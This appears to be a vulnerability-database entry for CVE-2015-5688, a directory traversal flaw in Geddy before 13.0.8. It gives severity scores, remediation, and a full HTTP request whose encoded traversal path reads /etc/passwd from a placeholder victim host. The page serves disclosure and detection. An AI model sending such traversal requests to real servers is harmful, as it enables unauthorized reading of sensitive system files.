🔙 목록으로 돌아가기

CVE-2015-5688: Geddy <13.0.8 - Local File Inclusion

TitleGeddy <13.0.8 - Local File Inclusion
Authorpikpikcu
SeverityMedium
ImpactThe vulnerability can be exploited to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.
RemediationUpgrade Geddy to version 13.0.8 or later to mitigate the vulnerability.
CVSS Score5
EPSS Score0.69364
CVE IDCVE-2015-5688
CWE IDCWE-22
Tags cve2015 cve geddy lfi geddyjs node.js vuln

🔍 Vulnerability Description

Geddy prior to version 13.0.8 contains a directory traversal vulnerability in lib/app/index.js that allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.

🌐 HTTP Request

GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-5688.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-5688.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A